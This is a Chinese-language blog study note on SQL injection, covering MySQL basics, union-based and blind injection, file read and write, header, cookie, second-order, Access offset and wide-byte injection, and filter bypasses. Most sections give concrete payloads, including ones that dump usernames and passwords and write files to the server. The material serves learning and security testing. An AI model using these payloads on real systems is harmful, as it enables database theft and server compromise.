注入漏洞小总结

注入漏洞

注入漏洞是对于解释性语言,用户与服务器交互式可以输入语句,成为程序执行的一部分

一sql的基本语句

增:insert into 表名(列名) values(值)
删:delete from 表名 where 条件
改:update 表名 set 列名=新列名 where 条件
查:select 列名 from 表名 where 条件

二mysql的基本知识

1、5.x的版本存在一个数据库information_schema,存储数据库的原信息。在schemata存数据库名,在table存数据库名和表名,在columns存数据库名表名和字段名。
2、mysql注释:#或--空格或 /** / 。还有内联注释/* * / 只有mysql可以识别,利用此借以绕过防火墙
3、常用函数:
user()查看当前mysql登录用户名
database()查看当前使用mysql数据库名
version()产看当前mysql版本

三sql注入类型

1、基于报错的注入

id值一般闭合:id=1 id='1' id=('1') id=("1")
加‘ 进行判断,根据报错信息,进行闭合,并将之后的字符串注释掉,有双引号时无报错,用\进行转义看报错信息。

一般利用步骤:

(1)利用order by判断字段数
(2)利用union select 联合查询,获取表名 0‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
(3)获取字段名0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
(4)获取字段值0' union select 1,group_concat(username,0x3a,passsword),3 from users --+
(5)也可以利用user()等函数输出一些信息。如0' union select 1,user(),database()--+
post与get的区别:注入位置不同,无法通过浏览器直接修改和查看错误信息,需要通过插件来实现——使用bp截断

2、不再显示错误信息的盲注

盲注是向数据库发送true或flase的语句,通过返回的信息判断结果,有基于时间的盲注,有基于布尔的盲注

get基于时间与布尔的盲注

通过时间差来判断if (ascii(substr(database(),1,1))=115,1,sleep(3))substr是将数据库的名字的从一移动一个位置的字符,通过ascii变为ascii值与115即s的ascii值进行比较,如果正确就执行一次sleep(3)
通过length(database()) ascii(substr(database(),1,1))> < = 某个值来不断猜解数据库的名称

post基于时间与布尔的盲注

与上基本相同,不过是用到bp,如时间可用 admin' and (select (if(length(database())>5,sleep(5),null)))

3、mysql注入读写文件

读:

前提:尽量有较高大权限,secure_file_prv的值必须不为空(可以在mysql.ini中配置)
在注入点构造 0' union select 1,load_file("绝对路径,中间要用//隔开"),3--+

写:

前提:general_log=on(可以在mysql.ini中配置)
在注入点构造 0' union select 1,'写入的内容',3 into outfile '绝对路径,中间用//隔开' --+

4、http头的注入信息

一些对用户输入的进行过滤,但一些插入到程序中的http头的信息没有过滤,可能有referer,user_agent等

5、cookie注入

cookie存在客户端,如果带入函数中,也不加过滤,可以在cookie处构造注入。查看cookie:可以在浏览器通过document.cookie查看。一些可能通过base64编码,所以构造的语句要进行base64编码

6、二次注入

首先用户向数据库提交信息,之后利用这些信息进行注入
如,用户首先注册一个admin'-- -的账户,在修改密码时,即可将admin的账户的密码修改为任意密码
其中因为没有相应过滤,且修改密码时的语句update 表名 set password= where username= and password=
当带入admin'-- - 后将后面的注释

7、access偏移注入

当得知表名,却无法通过暴力破解得到相应的字段名。通过数据库的自连接使数据库乱序,显示出偏移处的字段
order by 判断字段数,比如为10,通过union select 1,2,3,……,6,* from 表名,则10-6=4, 10-4* 2=2即通过union select1,2,a.id,b.id ,* from(admin as a inner join admin as b on a.id=b.id)

8、宽字节注入

php中可能通过addslashes函数将单引号等转义
这时如果mysql使用的是gbk编码可以用宽字节注入绕过
即用%df%27(%27是单引号的url编码)通过函数转义后变为%df%5c%27(%5c为/)
这时因为gbk编码占用两个字符,所以%df%5c组成到一起,使引号能够起作用闭合

四注入绕过

  • 大小写绕过
  • 双写绕过
  • 通过url编码绕过
  • mysql中通过内联注释绕过
  • 绕过去除字符串的注入:这时不能用注释符注释掉后面的引号,可以通过 or '1'='1闭合后面的引号,如id=-1' union select 1,database(),'3在3处闭合
  • 绕过去除and or 的注入:可以大小写,双写,内联用&& ||等
  • 绕过空格:可以通过url编码
posted @ 2019-08-11 11:16  启林O_o  阅读(594)  评论(0编辑  收藏  举报